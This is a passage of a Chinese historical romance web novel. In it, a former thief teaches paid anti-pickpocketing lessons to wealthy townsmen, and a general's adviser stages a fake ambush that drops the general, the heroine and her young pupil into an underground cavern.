苗悦趁机开口,声音又轻又软,还带着点恰到好处的关切:“公子当知,咱们横州城近日来了不少人。天南海北的,也不知道以前都是做什么营生的。” 男人被她笑得有点晕乎,顺着话点头:“是,是……乱得很……” 苗悦认真起来,道:“近来扒窃的事,可是比往日多了不少。像公子这般……”她目光在他鲜亮的衣袍和嘀里嘟噜的腰间扫过,恭维道,“一看就是有身份有家底的人物,贵重扎眼,最容易成了那些宵小之徒眼中的肥羊了。” 男人被她一说,下意识又摸了摸腰际。 苗悦笑着说:“小女子不才,早年曾在长安贵人府中,为内宅的小姐们做过几年护卫,对那些偷鸡摸狗见不得光的下作手段,知晓颇深,更懂得如何防范。” 她往前凑了一步,食指和拇指捏出一个小小的缝隙,看着男人渐渐亮起来的眼睛,轻声道:“公子只需花上小小银钱,我便可将其中最常见也最易中招的门道,教与公子。往后出门,心里有了防备,就能免去许多破财之灾。不知公子……可有意听听?”—— 作者有话说:苗老师的反扒小课堂 * 明天周三,休息一天 第87章 金玉堂是土生土长的衡州人, 人生顺遂得连丝涟漪都少见。 前些年战火烧到衡州,他家老爷子早早站队,拥立新主, 护得全家安稳。 金玉堂从未经历过风雨,养出了天真的自信。 当他在街上被一个穿着男装也难掩秀色的姑娘叫住时, 他心头涌上的第一个念头, 并非警惕, 而是得意。 定是这姑娘对我动了心思, 才想出个偷东西的别致法子来吸引我注意。 啧, 也真是难为她了。 于是, 金玉堂痛快地交出二两银子, 就想看看,这姑娘要玩些什么花样,几时才会对自己吐露真心。 区区二两银子, 还不够他在得意楼吃顿像样的席面。 金玉堂掐着点儿, 出现在了“清泉茶楼”。 他今日特意拾掇过。一身簇新的宝蓝色暗纹杭绸直裰, 腰间系着羊脂白玉佩,手持一柄洒金折扇, 头上戴的嵌宝小冠也仔细调整过角度,务求衬得他面如冠玉, 风度翩翩。 茶楼伙计原本只是寻常招呼,待听清他要去的是“听竹”雅室,立刻殷勤了七八分,躬身引路时,话也多了起来。 “原来是苗师傅的客人,小的有眼不识泰山了。这边请,这边请。楼梯有些暗, 您留神脚下。”伙计一边引路,一边侧着身子,羡慕道,“苗师傅可是有真本事的,她在我们这儿包了雅间,前后来过的客官,出门都夸呢,说是真学到了东西,银子花得不冤。” 金玉堂心里那点旖旎想象,被伙计几句话冲得晃了晃。 苗师傅?听起来怎么像个正经八百的行当称呼? 伙计兀自说着:“您能找着苗师傅,真是有眼光。咱们这楼里人来人往的,能像苗师傅这样,让客人个个都点头的,可不多见。” 金玉堂含糊地“嗯嗯”了两声,心里那点不对劲的感觉更明显了。 可来都来了,银子也花了,哪有临门退缩的道理? 说话间,来到了二层最里侧的雅间。 伙计停下脚步,恭敬地做了个“请”的手势,便退下了。 金玉堂定定神,特意清了清嗓子,整了整一丝不苟的衣襟,脑中浮现出小娘子见到他这般俊朗模样时,那含羞带怯的眼神。 他噙着一抹自认风流潇洒的笑,抬手,推开了雅间的门。 然后,那笑意就僵在了脸上。 雅间内并非预料中的红袖添香佳人独候。 一张花梨木大桌旁,竟已围坐着五个与他年岁相仿的男人。 这五人穿戴皆是不俗,都来自衡州城里有头有脸的体面人家,其中一个还涂了脂粉。 更让金玉堂头皮发麻的是,这里有三人竟是他熟得不能再熟的故交,另两个虽不算深交,也在不同宴席诗会上打过照面,彼此都认得。 屋内的气氛原就透着几分尴尬,此刻见他推门进来,五道目光齐刷刷射来,尴尬之中又有了种心照不宣的了然。 金玉堂脸上腾一下烧了起来,手里的折扇差点没拿住。 这时,与他最为熟络的王家二郎站起身,声音洪亮地打破了沉默。 “金兄,你可算来了,快快,就等你了。我们方才还说起,这等关乎身家财物的要紧事,以金兄的谨慎周全,必定不会错过。” 金玉堂福至心灵,立刻顺着梯子往下爬,也做出惊喜模样,一边往里走一边拱手:“王兄,钱兄,李兄,赵兄,孙兄,竟都在此。真是巧了,巧了。” 他竭力让语气显得自然又忧虑:“唉,小弟正为此事发愁。近日城里着实不太平,生面孔太多。咱们这些常在外走动的,是该学些防范的门道才是正经。” “正是正是。” “金兄所言极是。” “这世道,是得小心些。” 其余几人立刻七嘴八舌地附和起来,个个面色严肃,忧心忡忡,仿佛真是为了“防窃”这等要紧事才聚到此地。 客套的寒暄过后,房中又安静了,尴尬卷土重来。 屏风后转出来一个人。 正是苗悦。 她今日没穿那灰扑扑的男装,而是一身交领窄袖襦裙,外罩一件素绒比甲,头发梳了个简单的单螺髻,簪一支素银簪子。 衣裳料子普通,但浆洗得干干净净,熨帖整齐。 这一身打扮,乍看不起眼,细看之下,剪裁合体,配色清爽,行动间有股利落劲儿,像是个家境中等的体面人家女儿。 见她出来,六人同时噤了声,目光齐齐地落在她身上,又都若无其事地挪开,偷偷观察着其它人的反应。 金玉堂简直如坐针毡,后悔莫及,只想立刻走人,可他亲口说了是来学习的,此刻也只能强作镇定,继续伪装。 苗悦看在眼里,心中明镜似的。 这六个人,哪有一个是真心求教的,不过是那日在街上,她略施手段,钓上来的鱼儿罢了。 只是没想到,这些鱼儿互相认得,这更好,为着体面,他们也得硬着头皮学完。 她在街上挑人时,专拣那穿戴体面的中年男子。年轻小子不行,容易真动些不合时宜的傻念头。 就得是这些上了年纪,手里有些闲钱,自以为精明,又格外看重脸面的“体面人”。 挣他们的钱,那都不能叫骗。 叫一个愿打,一个愿挨。 “诸公都到了,咱们便正式开始吧。”苗悦负着手,“先请诸公检查一下随身物件,记住它们此刻的位置。” 众人虽不明所以,但也依言低头,或摸腰间,或探袖中,确认东西所在。 金玉堂也下意识地按了按腰间那块显眼的羊脂玉佩。 几人做毕,苗悦又道,“现在,请各位寻常闲坐便可。” 说罢,她从主位后走出,并未靠近任何人,只是沿着桌子外侧,在那六人身后不疾不徐地走了一圈。 不过短短十几息,她便已走回原位站定。 “好了。”她轻轻击了下掌,将众人的注意力拉回,“现在,请诸公再查探一下方才的随身之物,看看是否还在原处。” 几人疑惑地互相看了看,还是依言再次检查。 “我的玉佩呢?”金玉堂低呼,胡乱在腰间摸索。 “我的私章,我袖袋里的私章不见了。”另一人脸色也变了。 “这……这荷包……”钱姓公子从怀里掏出个荷包,满脸困惑,“这不是我的啊,我的是石青色的……” “我的扇坠,我的扇坠怎么跑到赵兄你腰带上了?”孙家公子指着对面惊呼。 几人这才骇然发现,他们贴身的小物件,在众目睽睽之下,互相易了主。 没有一个人察觉苗悦是何时下手的。 震惊、难以置 信,清清楚楚地写在每个人脸上。 他们看向苗悦的眼神,混合着惊疑与警惕。 苗悦不紧不慢地开口:“诸公可知,我为何能知道,你们的东西都放在了哪里?” 几人面面相觑,皆摇了摇头。 “就在刚才,我请诸位检查随身物件时,你们的眼神,你们的手自己告诉我的。金公子按了两次左侧腰间,钱公子摸了一下右袖内袋,李公子用左手护了一下前胸……” 众人渐渐恍然,方才他们确实都下意识地去确认了位置。 苗悦语气加重:“当你身处人多眼杂之地,永远不要用明显的方式,去确认财物所在。否则遇上有心之人,只需一句话,便能让你不打自招。日后出门,若心中不安,务必用最不经意的方式。比如,假作整理衣袖,顺便碰触袖袋,或是侧身与同伴说话,借机用肘部轻靠腰间。” 桌上几人不由自主地跟着点头。 苗悦见气氛到了,不疾不徐地开口:“须知‘防’之要义,首在‘知彼’。今日这入门第一课,我便与诸公说说那市井之中,真正的老合们,是如何看人的。在我们……”她清清嗓子,“在他们那个行当有句话,贼眼瞧人观三相……” 两个时辰后。 “……这便是三不偷原则。”苗悦口舌冒烟,“今日所讲的‘贼眼三看’,以及如何藏物、如何不露破绽,是行走市井、防范寻常扒手的入门基础。诸公若能牢记并运用,足以应付大部分场面。 她略作停顿,推心置腹道:“在下多嘴提醒一句,诸位府上若有正当韶龄的小姐,出门走动时,更需加倍留心。有些下作之辈,专盯闺阁女子下手,顺那绣有名讳的帕子,贴身的物件,再转给有心人,捏造些风言风语,惹上甩不脱的无赖泼皮,那才是真正的麻烦。” 她适时打住,不再深入,总结道:“今日这堂,便到此为止。希望能对诸公略有裨益,让诸位觉得这二两银子,花得不冤。” 话音刚落,金玉堂第一个鼓起掌来,脸上早没了初时的尴尬与旖念,叹服道:“值,太值了,二两银子听这一席话,简直是捡了天大的便宜,苗师傅果真名不虚传。” 二两银子,掉地上他都不一定捡呢。 其余几人也纷纷附和,真心实意地道谢,直说闻所未闻,大开眼界。 气氛热烈,几人就势互相招呼着“同去喝一杯,再细聊聊今日所得”,相继起身离开雅间。 唯独那位话不多的孙姓公子,故意落在了最后,待其他人都出了门,他却折返回来。 这位孙公子比金玉堂略小,但已经是一家之长,握着实权。 他走到苗悦面前,神色比方才更加郑重。 “苗师傅,在下家中正有一小女,今年刚及笄,该相看人家的年纪。只是这孩子自小被宠得有些过了,性子天真烂漫,说得好听是赤子之心,说得直白些,便是缺些心眼。平日里出门上个香,赴个会,家里人都提心吊胆,生怕她着了道还不自知。苗师傅,可否拨冗指点小女几日,长长心眼也好。” 苗悦微微蹙眉:“孙公子爱女之心,令人动容。只是……后面几日的课,都已排满了。” 孙公子眉头锁紧。 苗悦沉吟片刻,又道:“罢了,明日原是该我歇息的日子。若孙公子实在着急,我明日倒是可以辛苦一趟,为令千金单独开一课。只是单独授课,这价钱,恐怕要比今日高出不少。” 孙公子一听只是钱的问题,神色顿时松了大半,一口应承下来,当即付了二十两银子作为报酬。 孙公子离开后,苗悦瞬间松弛下来,有些脱力地跌坐回圈椅里,长长地吁出一口气,嗓子眼都快要冒烟了。 她掂着那锭二十两的雪花银。 虽然从花费的时间精力来看,远不及“妙手空空”来钱快,但这钱,光明正大,花起来,心安理得。 她扬声唤来店伙计,抓了把铜钱,塞进小二手里。 “多谢小哥美言。” 那小二眼睛都笑弯了。 之前定下这雅间时,苗师傅已经打点过他一次,如今事情顺利办完,竟又给了第二次。 他腰弯得更低了些:“苗师傅您太客气了,小的不过说了几句实话。您还有什么事,尽管吩咐。” 苗悦确实有事:“明日同一时辰,这间雅间我还用,劳烦帮我留好。” “包在小人身上,保准给您留得妥妥当当。”小二拍着胸脯保证。 苗悦挥了挥手,惬意道:“给我来一壶上好的碧螺春,再把你们这里拿手的点心,每样都来上一份。” “得嘞,您稍等。”小二欢天喜地地退了出去。 第88章 将军府, 书房内烛火通明,燕钊与杜言讨论军务。 杜言道:“开城三日,登记入册的新入户, 共计两千四百七十三户,男女丁口约一万一千余。” 燕钊道:“比预想的多。青壮占几成?可曾细查来历?” “约四成是青壮男丁, 多是携家带口而来。八成以上确是自南边遭了水患, 或是从交战之地逃难来的百姓, 身家清白。余下两成, 背景有些模糊, 不乏闲汉游手, 可能有别处来的探子, 已着暗哨盯着了。” 燕钊道:“一万多人,吃得住吗?” “眼下城中各处都在用人。城防加固,军械修缮, 官道拓宽, 水渠清淤, 还有新辟的几处军屯,都缺人手。属下已命人将这些用工之处、所需人数、工食待遇, 张榜于各坊。只要肯卖力气,一日两餐几个铜板总是有的。若是有些手艺的, 就不愁咱们安排了。” 燕钊微微颔首:“以工代赈,要让他们看到活路,不能让人闲着,闲着就要生事。” 杜言又道:“属下拟了个章程,凡在衡州定居满一年,有恒产或有恒业,无作奸犯科者, 可转正籍,享衡州民同等权利,亦需承担赋役。将军意下如何?” 燕钊道:“可以加一条,青壮入选军屯,或应募参与城防等要务工役者,其人及家眷仅需考察半年,鼓励愿扎根衡州有能力者。” 杜言会意:“重军功,亦重实利。属下稍后便补充进去。另外,涌入人口众多,鱼龙混杂,市井偷盗斗殴之事,近日确有增多。已增派了巡城兵士,也抓了几个典型,当众惩处,以儆效尤。” 燕钊语气转冷:“乱世用重典,非常时期,更不可手软。一旦查实了,不必拘泥常法,该打的打,该撵的撵。” 杜言点点头:“恩威并施,方是长治久安之道。安分肯干的,自有活路,趁机作乱的,正好拿来立威。” 他又交给燕钊一份文书,顺口提起另一事:“以李晏的性子,他不会空手返回长安。将军觉得他下一步,会去找谁?” 燕钊道:“萧世权手里那点兵,能护住他那三州之地已是勉强,绝无实力去碰牛焘。只能是张邠阳。” 杜言颔首:“张邠阳确有与牛焘一较高下的实力,只是他野心不小。李晏若以勤王之名相邀,怕是正中他下怀。” 燕钊哼了一声,在文书上落章,交回杜言。 “我们静观其变就好。” 杜言接过,叹道:“天下诸侯皆在观望自保,这个李晏明知自己仅有虚名,还要四处奔走,做那螳臂当车之事。若换作是我,身处那般绝境,用的手段,只怕比他更过分。” 杜言说完,没听到回应,看向燕钊,只见他正对着书案一角出神。 那里放着从牙行取回的,写着“女护卫”的求工竹牌。 杜言看了一眼那牌子,又看了看燕钊沉凝不语的神色。 “这牌子取回来也有好些天了,将军还在犹豫什么?” 燕钊拿起竹牌,在掌心慢慢转动:“她宁可去给人当护卫,也不愿来找我。” 杜言抿唇,暗自挑眉,片刻后缓声道:“此事倒也怪不得她。毕竟,离魂香这局,她身处其中,对将军心 存几分愧疚畏惧,也是人之常情。即便李晏这等身份的人,都应对得颇为狼狈,只能黯然离场。苗姑娘一介女流,无依无傍,心思定然更为复杂。” 燕钊咬牙,执拗道:“说到底,她还是不信我。” 杜言无奈开解:“将军莫要钻了牛角尖,总往坏处想。与其在此揣测,不如当面去问个清楚。她怕什么疑什么,你便澄清。她若有愧,你便大度些。遇到什么问题,就解决什么问题。男女之间,来来回回无非那些事,比排兵布阵简单得多。” 燕钊闻言,眉头皱紧,瞥了杜言一眼,也不知是对哪句话不满。 杜言只得再递上一个台阶,试探道:“将军若是觉得亲自去问有损颜面,属下可代为……” 燕钊立刻打断了他,挺直了背脊:“我燕钊行事,向来光明磊落。男子汉大丈夫,什么颜面不颜面的。” 杜言从善如流地点头:“是属下失言了,看来将军是想亲自处理此事。那杜某便不多加置喙了。” 燕钊刚刚挺直的肩背泄了一瞬,他嘴唇动了动,视线飘向一旁:“杜先生不知,记忆世界的我,因她的影响,性子活泛很多。” 他自嘲道:“现实中,我从小到大,都不招人喜欢。性子阴沉,话也少,不知如何与人亲近。便是后来在义父麾下,靠着手艺立了身,也做不到如六弟那般,与同袍们打成一片。我好像天生就让人不愿意亲近,更别说喜欢。她见了,只怕……是要失望的。” 杜言捋了捋胡子,若有所思:“原来将军担心的是这个。” 他想了想,说:“将军试都不试,如何能知道,她会不会失望。世间情意,最动人的地方,从来不是完美,而是明知对方有诸多毛病,自己也笨拙不堪,却依然忍不住想靠近。你如今踌躇,是怕自己不够好,那不如重新来过。” 燕钊问:“我与她之间,前有算计,后有提防,如何重新来过。难道我跑去对她说,往事一笔勾销,我们重新来过。” 杜言沉思片刻,眼中光芒再起:“将军若是信得过,便将此事交给杜某来办。将军只当今日这番谈话从未有过,之后发生任何事,也一概不知,只需随机应变即可。” 燕钊眉头锁紧:“我已三番两次设计于她,若再来一次……” “将军放心,”杜言笑道,“若不慎被她看穿,这坏人,由杜某来做。是杜某见将军为情所困,思虑重重,实在不忍,故而瞒着将军,擅自行事,出了下策。所有算计,所有布局,皆出自杜某一人之手,与将军无干。” 燕钊眉头锁得更紧:“此等推脱卸责之事,燕某做不出。” 杜言早料到他会有此反应,并无意外,只是笑容微敛,目光沉静地看着他,缓缓道:“此事由杜某出面,将军置身事外,于行事,反倒便宜。杜某之所以甘愿担此污名,亦有私心。此计,杜某必全力施为。成,则是一段佳话。若不成,或苗姑娘经此一试,终究无心于将军……” 他稍稍前倾,目光清正,望进燕钊眼底:“也请将军,务必以衡州大局为重,以这满城倚仗您的百姓为重。切莫因一时儿女私情之挫,消沉了心志,怠慢了军政。世间憾事颇多,并非桩桩都能圆满。将军是执掌一方生死的雄主,肩上担着万千人的身家性命。有些事,尽力而为,问心无愧,便该放手。” 他拱手一揖:“望将军,无论成与不成,皆能持心守正,不忘根本。” 燕钊的指节在竹牌边缘收紧,又缓缓松开。 他站起身,面向杜言,双手抱拳,一揖到底。 “诺。” 杜言心中大石落地。 无论情路成否,衡州之主,绝不会因私废公。 苗悦很快发现,教导女弟子,尤其是孙家小姐这样的,远比应付那些心思各异的富家公要舒服得多。 孙家小姐闺名孙兰初,小名珠珠,年方十六。生得一张圆圆脸,肤色白里透红,身形是那种被细心喂养出的圆润,绝非痴胖。性子更是活泼娇憨,全无心机。 第一次上课,没等苗悦多问,竹筒倒豆子似的,从她爹最近又得了什么新玩意,到她娘念叨她该学着管家,再到她昨日偷吃了厨房的点心,叽叽喳喳说了一通。 说到一半,她还捂住嘴,瞪着圆眼,哎呀一声:“我娘说了,这个可不能告诉别人。苗师傅,您可千万别说出去呀。” 那股天真烂漫的劲儿,让苗悦忍俊不禁。 课堂氛围也因此轻松愉快。 除了教些基础的观察、藏物、防扒窃手法,还重点讲了闺阁女子出门上香、赴会、逛灯市时,荷包、香囊、贴身帕子等物该如何小心,又该如何应对可能出现的登徒子。 她甚至还教了些不好言说却实在有用的女子防身招式。 孙兰初认真学了,心底却并不在意,她托着腮,眨着圆溜溜的眼睛:“苗姐姐,哪有那么多坏人呀?而且,我出门都有丫鬟和家丁跟着呢。” 苗悦索性将她那两个贴身小丫鬟也叫了进来,一并教导。 孙公子得知后,大为感动,觉得这位苗师傅不仅技艺了得,为人更是周到负责,原本说好只教一人,如今连丫鬟都捎带上,竟也未多收分文,对苗悦的评价水涨船高。 苗悦真心喜欢孙兰初。同这小姑娘在一处,无需任何勾心斗角,说话也不必字斟句酌。 看她明媚开朗不谙世事的模样,苗悦有时会生出几分心疼。 这样透亮的人儿,将来若嫁了人,怕是想多吃块糕点都要被人说嘴馋,一言一行都得小心翼翼。 孙兰初虽懵懂,却也能感受到苗悦发自内心的喜爱与回护。 她回应的方式很直接,出手比她爹还大方,时常将自己用腻了的银饰珠花塞给苗悦。 孙公子见女儿跟着苗悦学了段时日,虽防身的本事没见长进多少,但待人接物倒似比以前更懂事了些,也明理了些,心中愈发满意,更支持女儿与苗悦亲近。 孙家付的酬金本就丰厚,加上孙兰初时不时的馈赠,苗悦的钱袋迅速鼓胀,不必再为明日米粮发愁,生活肉眼可见地宽裕起来。 这天,孙兰初拉着苗悦的手,说起过几日要去城外祖母的庄子小住。 “苗姐姐,你陪我一起去吧。”她晃着苗悦的胳膊,“自从我姐姐出嫁,每次去庄子都只有我一个人,路上可闷了。” 苗悦忙着自己的事,随口问:“庄子在城外?路上可太平?” “太平的,那边也是燕家军的地界,没人敢乱来。”孙兰初用力点头,兴致勃勃地数起庄子上的好处,“祖母庄子上果树可多了,这会儿正好有……” 她絮絮说了一堆,苗悦只是笑着听,没太当真。 孙兰初:“我爹还想出五十两银子雇你陪我去,他说你人可靠,又有本事,路上能给我当护卫。我说,五十两哪够呀,一来一回的,怎么得一百两吧。我爹就……” 苗悦手上动作停了。 一百两,差不多是衡州城里一户中等人家两三年的嚼用。 有钱赚怎么不早说。 她看向孙兰初:“原来你是要雇个女护卫呀?” 孙兰初眨了眨眼,想了想,随即弯起眼睛,笑眯眯地点头:“嗯,就是要雇个女护卫。” 苗悦也笑起来:“成交。” 第89章 了…… 出发那日, 天阴得沉,云低低压着城头。 入了秋,衡州城的雨便一场接一场, 空气里满是湿冷的土腥气。 苗悦叮嘱完阿芦,早早来到孙府。 孙府门口停着辆不起眼的青帷马车, 两个小丫鬟正忙着将几个箱笼搬上车。 孙公拉着苗悦千叮万嘱。 “苗师傅, 小女就托付给你了, 路上万不可大意……” 孙公爱女之心, 苗悦早有领教, 当下连连应诺。 燕家军治下的几座城池, 她是清楚的, 治安一向还算太平。 孙公以拜托的姿态,又重重说了一遍:“千万护她平安。” 苗悦也严肃起来:“孙公放心,我既应了这差事, 必会尽力。” 马车消失在长街尽头, 孙公立在门口, 忧心忡忡地望着。 “孙公且宽心。”杜言的声音响起,他不知何时已从门内踱出, 站到孙公身侧,“此去一应事宜, 杜某都已安排妥帖,必不会让令千金涉险。” 孙公回身,勉强扯出个笑:“杜先生安排的事,自然是妥帖的。只是小女天真烂漫,不谙世事,没想到有朝一日还能帮上杜先生的忙。” 话中带着不易察觉的埋怨,怪杜言将无辜女儿牵扯进不明就里的事中。 杜言捋须, 笑了笑:“令千金确是娇憨可爱。看年纪,也该议亲了,不知许了哪家?” 孙公烦恼道:“内人宠得厉害,上门提亲的倒有几家,可她总看不上。” “哦?那孙公想为令千金寻个什么样的人家?” “不瞒杜先生。”孙公压低声音,“小女心思单纯,我怕她将来在婆家受委屈。就想找个能自己立住门户,不必看公婆脸色的。” 他话虽未说透,意思却明了,希望找个男方家中无长辈的。 杜言呵呵一笑:“我们将军身边十二亲卫,多是自幼跟随将军,情同手足,如今也都有军职在身。里头倒有几个,年纪略长令千金几岁,但人品才干都是拔尖的。孙公若不嫌弃门户,杜某倒愿做个媒。” 孙公眼睛一亮。 燕钊的十二亲卫谁人不知,那是燕钊真正的心腹,前程自不必说。 孙家虽富,却无官身。燕钊入主衡州后,与旧士绅的关系尤其微妙。 若能攀上这门亲…… 孙公脸上忧色顿消,转为满面喜色,忙不迭地对杜言拱手:“杜先生这是哪里话,若能得将军麾下英才为婿,那是小女的福气。孙某求之不得,求之不得啊。” 杜言含笑点头,不再多言。 马车出了衡州城西门,沿着河走了一段,便拐上了山道。 衡州多山,一出城,平野便被起伏的青色山峦替代。 官道沿山势蜿蜒,一边是陡坡,坡上生着些半黄不绿的杂树和深深的茅草,另一边多是高坎,坎下是雨季冲刷出的深涧,能听见隐约的水声,却望不见底。 出城不久,孙兰初就打开个不小的食盒,里头分格装着果子蜜饯糕点酥糖,她让苗悦和两个贴身丫鬟一起吃。 车行颠簸,她一只手抓着车窗沿,另一只手和嘴却难得空闲,从桂花糕吃到腌梅子,腮帮子时不时就鼓起来。 一个年纪略大的丫鬟瞧了半晌,忍不住低声劝:“小姐,慢些用,仔细存了食。老爷前几日还嘱咐,让你稍稍清减些,才好说亲事呢。” 孙兰初动作一顿,嘴里的半块云片糕顿时就不甜了。 她看向苗悦,委屈巴巴的:“苗姐姐,你觉得我胖吗?” 说实话,孙兰初真的不算胖。 她生得一张圆脸,骨架小,身上有肉,瞧着圆润,但绝谈不上臃肿,又是长身体的年纪,日常消耗大,吃得多也正常。 可这话说出来,便是明着驳了孙公的意。孙公是苗悦眼下最大的金主,得罪不起。 但孙兰初是她的小金主,苗悦也不想让她难过。 她思量片刻,道:“珠珠这身量,正是多少人家求都求不来的福气相呢。皮肤光润,眼神明亮,一看就是身子骨康健,气血足。孙公让你留意些,未必是觉得你不好。他是做爹的,心疼你,怕议亲时有人拿这个说嘴,害你受闲气。” 孙兰初听了,抿着嘴,低声嘟囔:“我才不管他们怎么想呢。” 虽然那点委屈还没散尽,但脸上总算又有了笑模样。 车身猛地一颠,像是碾过了什么大石块。 车夫“吁”的一声长喝,车辆摇晃着,速度明显慢了下来。 苗悦扶住车壁稳住自己,另一只手下意识地护了一下身侧的孙兰初。 那大丫鬟立刻探身,撩开前面的帘子朝外看。 山道到了这里,更加狭窄。 一侧是陡峭的山壁,岩石裸露,另一侧,便是向下深陷的涧谷。 谷中林木长得极密,枝叶层层叠叠,纠结在一起,看不清底,隐隐有水声带着寒意漫上来。 道旁不见人烟,前后也望不见其他车马的影子。 那丫鬟皱了眉,扬声问车夫:“李伯,往日去庄子,不走这条道的。今个怎么绕到这儿来了?” 车夫回道:“原本走的那条道,有落石风险,官府正拦了抢修呢,过不去。老爷特意吩咐走这条的。” 既是老爷的吩咐,丫鬟便不好再说什么,放下帘子坐了回去。 马车在崎岖的山道上又颠簸前行了约莫一炷香的功夫,拐过一个弯,前方相对开阔,能看见路中央赫然横着一棵粗壮的断树。 车夫急忙勒马。马车堪堪停在断树前。 只听“哗啦”数声,高坎上方的灌木丛中,跃下三条黑影,落地极轻,堵在了马车前方。 与此同时,后方也传来闷响,又是三人,将后路也堵住了。 这六人黑衣蒙面,也不说话,只是迅速散开。 一人上前扭住车夫胳膊将其拽下车,按在地上。两人扑向家丁,家丁刚抽出佩刀,便被对方三拳两脚打翻,兵器脱手,人也被踹倒,一时爬不起来。另外三人则直奔马车。 当先一人伸手去撩车帘。 帘子刚撩开一条缝,寒光一闪,一道细小的银芒急射而出。 黑衣人一惊,下意识侧头闪避。那银芒擦着他脸颊飞过,却并未远去,在空中划了个小弧,又倒飞回来,精准地将他蒙面的黑巾带飞。 黑巾飘落,露出一张年轻惊愕的脸。惊愕过后,他忙捂住脸,疾步后退,眨眼间退到两丈开外。 另两个黑衣人交换眼神,不再强攻。一人绕到马车前方,另一人在车后,同时吐气开声,沉肩发力,重重两掌击在马车前辕与后厢的连接榫卯处。 “咔嚓咔嚓。” 木质结构发出不堪重负的脆响,连接处应声断裂。两人又同时抬脚,猛踹车身两侧。 木板裂开,箱笼滚落,惊叫声响起。 车厢垮塌的瞬间,苗悦夹带着孙兰初猛地蹿出,向后急掠。 然而带了一个人,终究速度大减。苗悦只掠出两三步,前路和后路便已被黑衣人封住。 车夫和家丁都倒在地上呻吟,完全指望不上。 几名黑衣人迅速合围,其中四人用虚招吸引苗悦注意,另一人出手如电,去抓孙兰初肩膀。 孙兰初吓得尖叫,胡乱踢打。 苗悦独斗五人,还要分心护着孙兰初,左支右绌,险象环生。 就在这时,山道前方传来马蹄声。 燕钊带着四名亲卫巡城归来,因这条道抄了近路,往来人少,他惯常走这里。 一名亲卫早早就看到这边乱象,急道:“有贼人围攻女子。好大胆子,光天化日,在我燕家军地界作恶。” 燕钊面色阴沉,一夹马腹,提速冲来。 围攻的黑衣人早就等这一刻,互打眼色,一人虚晃一招逼退苗悦半步,随即蓄力,一掌拍在苗悦肩头。 苗悦本就在勉力支撑,这一掌力道精巧,不疼不重偏就劲力强大,拍得她整个人向后倒飞出去,抓着孙兰初的手也被迫松开。 燕钊远远看见苗悦中掌飞起,心下大骇,当即从马背上飞身,急掠而来,在苗悦落地前,把人揽入怀中。 亲卫见状,抽出腰间佩刀,朝着挟持孙兰初的黑衣人掷去。 离苗悦最近的一名黑衣人掏出两个圆球,扔到苗悦脚下。 圆球落地,炸开大团浓密烟雾,瞬间将燕钊和苗悦笼了进去。 抓着孙兰初的黑衣人听闻长刀破空之声,急急躲避。 身边队友早有防备,提前举刀,帮他格挡下来。 就在这间空,孙兰初只觉钳制稍懈,求生的本能压倒恐惧,扭头对着那黑衣人虎口,狠狠咬了下去。 那黑衣人吃痛,本能地想 劈晕她,但想起“不得伤人”的命令,一时迟疑。 这一迟疑,给了孙兰初机会,她屈起膝盖,用苗悦教她的法子,用力朝对方要害猛顶。 黑衣人猝不及防,惨嚎一声,弯腰屈膝,手也松开了。 孙兰初一得自由,想也不想,朝着苗悦的方向,跌跌撞撞冲进浓烟中。 “苗姐姐,我来救你。” 就在此时,那名被苗悦割掉面巾的年轻人,在石壁一处不起眼的缝隙中一抠,一拧。 只听“轰隆”一声,燕钊和苗悦脚下的地面裂开一个黑黢黢的大口子。 烟雾中,谁也料不到好好的山道会冒出大洞。 两人脚下踏空,直直向下坠去。 “苗姐姐!”孙兰初脑子一热,不管不顾地伸手去抓,抓住了苗悦的衣摆。 可下坠的力道岂是她能拉住的,孙兰初非但没能把人拉上来,自己反被带得一个趔趄,跟着栽进了那黑沉沉的地洞。 燕钊用佩刀勉强撑住身体,正想救人,余光瞥见孙兰初也跟着掉下来,心中一惊,伸手去抓人。 混乱中,他不知抓住了谁的手臂还是衣带,三人就这么拉扯着,一同滚入黑暗。 裂开的口子在他们坠入后,迅速合拢,翻板恢复了原状,只留下几道缝隙。 山风一吹,烟雾很快散去。 地面上,一片狼藉。散架的马车,倒地的箱笼,吓哭的丫鬟,呻吟的车夫和家丁,以及六个黑衣人和四名燕钊亲卫。 将军在眼皮子底下掉进了陷阱,四名亲卫又惊又怒,目光如刀,就要上前拿人。 “别动手,自己人。” 一个黑衣人急声低喝,扯下了蒙面黑巾。其余几人也纷纷效仿。 亲卫们看清对方面容,俱是一怔。 “怎么是你们?!” 几名黑衣人却顾不上多说,围到燕钊掉落的地方,气急败坏。 “周牧!杜先生不是让你只管带走孙小姐吗,她人呢?!” 被唤作周牧的年轻人,正是之前被孙兰初又咬又踢伤到要害那位。 他此刻脸色发白,额上冷汗涔涔,腿间仍是钝痛,又是委屈又是懊恼。 若不是怕伤了那姑娘,他又怎么会制不住一个小女子,何苦结结实实地挨这一下。 早知道,将人直接扛走了事。 他抬手指着那片地面,声音都变了调。 “掉……掉下去了……” 第90章 翻板在头顶合拢的瞬间, 天光彻底熄灭。 苗悦沿着一个倾斜的湿滑陡坡,向下冲去,耳边是孙兰初的尖叫声。 苗悦试图稳住身形, 但坡道太滑,速度太快, 所有的努力都是徒劳, 她只能死死抓住孙兰初衣摆, 尽可能和她在一起。 不知滑了多久, 屁股下陡然一空, 短暂的自由落体后, 苗悦摔在潮湿的土地上。 还没等缓过气, 身上又是一重,孙兰初也掉了下来,正砸在苗悦身上。 苗悦胸口一窒, 差点背过气去, 半晌说不出话来。 “呜呜……苗、苗姐姐……”孙兰初的哭声中气十足, “我胳膊好疼……” 苗悦深吸了几口气,不敢去碰她, 问:“怎么了?能动吗?” “好像被什么划破了……”孙兰初抽抽搭搭地。 “能动吗?”苗悦又问了一遍。 “能……” 苗悦放心了。 两人在黑暗中摸索,互相抓住对方的手, 渐渐适应了黑暗。 一种极其微弱的光,从厚厚的苔藓中透出,勉强勾勒出岩壁的轮廓,但也仅此而已。 空气里弥漫着浓重的土腥味,除了孙兰初压抑的抽泣声和她自己略显粗重的呼吸,还能隐约听到潺潺流水声。 有水就有出路。 苗悦又放心一些。 “苗姐姐,是我连累你了……”孙兰初声音抖得厉害, “肯定是我爹得罪了什么人,他们才要绑了我,报复我爹……” 苗悦语气放缓:“别瞎猜,我们先想办法出去。”她四下环顾,“是不是还有一个人也掉进来了。” 苗悦记得清楚,自己中掌被打飞时,确实有人从后面接住了她。 后来烟雾弥漫,脚下突然塌陷,孙兰初扑上来救她,她全部的注意力都在孙兰初身上,根本无暇顾及身后那个人。 那人在危机当口现身,路见不平拔刀相助,还能徒手接住她,当有些身手,也并非歹人。 